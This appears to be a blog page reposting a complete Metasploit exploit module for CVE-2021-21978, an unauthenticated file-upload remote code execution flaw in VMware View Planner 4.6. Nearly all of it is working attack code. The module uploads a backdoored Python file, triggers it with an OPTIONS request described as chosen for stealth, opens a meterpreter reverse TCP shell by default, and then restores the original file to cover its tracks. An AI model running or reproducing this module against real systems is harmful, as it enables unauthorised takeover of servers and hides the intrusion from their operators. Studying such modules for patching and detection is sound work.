Tuesday, April 6, 2021

VMware View Planner 4.6 Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware View Planner Unauthenticated Log File Upload RCE',
'Description' => %q{
This module exploits an unauthenticated log file upload within the
log_upload_wsgi.py file of VMWare View Planner 4.6 prior to 4.6
Security Patch 1.

Successful exploitation will result in RCE as the apache user inside
the appacheServer Docker container.
},
'Author' => [
'Mikhail Klyuchnikov', # Discovery
'wvu', # Analysis and PoC
'Grant Willcox' # Metasploit Module
],
'References' => [
['CVE', '2021-21978'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0003.html'],
['URL', 'https://attackerkb.com/assessments/fc456e03-adf5-409a-955a-8a4fb7e79ece'] # wvu's PoC
],
'DisclosureDate' => '2021-03-02', # Vendor advisory
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'python',
'Targets' => [
[
'VMware View Planner 4.6.0',
{
'Arch' => ARCH_PYTHON,
'Type' => :linux_command,
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
}
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wsgi_log_upload', 'log_upload_wsgi.py')
)

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

unless res.code == 200 && !res.body.empty?
return CheckCode::Safe('log_upload_wsgi.py file not found at the expected location.')
end

@original_content = res.body # If the server responded with the contents of log_upload_wsgi.py, lets save this for later restoration.

if res.body&.include?('import hashlib') && res.body&.include?('if hashlib.sha256(password.value.encode("utf8")).hexdigest()==secret_key:')
return CheckCode::Safe("Target's log_upload_wsgi.py file has been patched.")
end

CheckCode::Appears('Vulnerable log_upload_wsgi.py file identified!')
end

# We need to upload a file twice: once for uploading the backdoor, and once for restoring the original file.
# As the code for both is the same, minus the content of the file, this is a generic function to handle that.
def upload_file(content)
mime = Rex::MIME::Message.new
mime.add_part(content, 'application/octet-stream', nil, "form-data; name=\"logfile\"; filename=\"#{Rex::Text.rand_text_alpha(20)}\"")
mime.add_part('{"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}', nil, nil, 'form-data; name="logMetaData"')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'logupload'),
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
unless res.to_s.include?('File uploaded successfully.')
fail_with(Failure::UnexpectedReply, "Target indicated that the file wasn't uploaded successfully!")
end
end

def exploit
# Here we want to grab our template file, taken from a clean install but
# with a backdoor section added to it, and then fill in the PAYLOAD placeholder
# with the payload we want to execute.
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
file_content = File.read(File.join(data_dir, 'log_upload_wsgi.py'))

payload.encoded.gsub!(/"/, '\\"')
file_content['PAYLOAD'] = payload.encoded

# Now that things are primed, upload the file to the target.
print_status('Uploading backdoor to system via the arbitrary file upload vulnerability!')
upload_file(file_content)
print_good('Backdoor uploaded!')

# Use the OPTIONS request to trigger the backdoor. Technically this
# could be any other method including invalid ones like BACKDOOR, but for
# the purposes of stealth lets use a legitimate one.
print_status('Sending request to execute the backdoor!')
send_request_cgi(
'method' => 'OPTIONS',
'uri' => normalize_uri(target_uri.path, 'logupload')
)
ensure
# At this point we should have our shell after waiting a few seconds,
# so lets now restore the original file so we don't leave anything behind.
print_status('Reuploading the original code to remove the backdoor!')
upload_file(@original_content)
print_good('Original file restored, enjoy the shell!')
end
end
 

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore